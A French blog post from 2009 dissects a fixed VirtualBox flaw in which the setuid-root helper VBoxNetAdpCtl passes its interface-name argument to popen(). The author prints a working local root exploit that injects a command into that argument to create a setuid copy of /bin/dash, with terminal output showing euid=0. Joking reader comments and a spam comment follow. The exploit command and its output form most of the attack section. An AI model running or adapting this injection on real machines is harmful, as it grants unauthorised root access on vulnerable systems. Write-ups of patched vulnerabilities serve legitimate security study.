Tuesday, October 13, 2009

Moufleurs professionnels chez VirtualBox

Extrait du changeLog de VirtualBox :

« Security: fixed vulnerability that allowed to execute commands with root privileges. »

HUM HUM WOOT #@!

Après quelques minutes de recherche, on tombe sur le binaire VBoxNetAdpCtl qui est setuid root et dont le code vulnérable est disponible ici. C'est du code bien cradossé, je vous laisse un peu de temps pour trouver la vulnérabilité. ;-)

...

Bein oui c'est le popen() qui est fait à la ligne 118 qui nous permet d'injecter des commandes qui seront lancées avec euid = 0. :-)

Exploit de oufz0r :

[clem1@0dayz ~]$ /usr/lib/virtualbox/VBoxNetAdpCtl "vboxnet0;cp /bin/dash /tmp/.r00t;chmod +s /tmp/.r00t" "11:11::11" netmask 255.255.255.0
vboxnet0: error fetching interface information: Device not found
SIOGIFINDEX: No such device
getaddrinfo: 255.255.255.0: -9
255.255.255.0: Resolver Error 0 (no error)
[clem1@0dayz ~]$ /tmp/.r00t
# id
uid=1000(clem1) gid=100(users) euid=0(root) (...)

# exit



Attention ça ne marche pas avec toutes les distributions car certaines implémentations de /bin/sh (celle de archlinux) doivent faire une sorte de seteuid(getuid()) avant d'exécuter un binaire. J'ai pas eu le temps de regarder en détail...

<privatejoke>
Les développeurs de VirtualBox méritent qu'on leur fasse gobber du flanby périmé. :-)
</privatejoke>

Labels: ,

3 Comments:

Blogger tito said...

Bah imagine, cette semaine, on a droit à une énorme cagette de pomme au lieu d'un bac rempli de flamby. :)

J'attend la séance de gobabage de pomme..

2:32 AM  
Anonymous Anonymous said...

Hahaha énormissime, j'avais pas vu du code comme ça depuis ma 2eme année d'étude où des camarades de promos avaient codés un serveur FTP en C à grands coups de popen() et de system()

Ca mérite presque un pwnie award.

8:34 AM  
Anonymous Stucco Contractors Murrieta said...

Great post thankkyou

9:47 PM  

Post a Comment

<< Home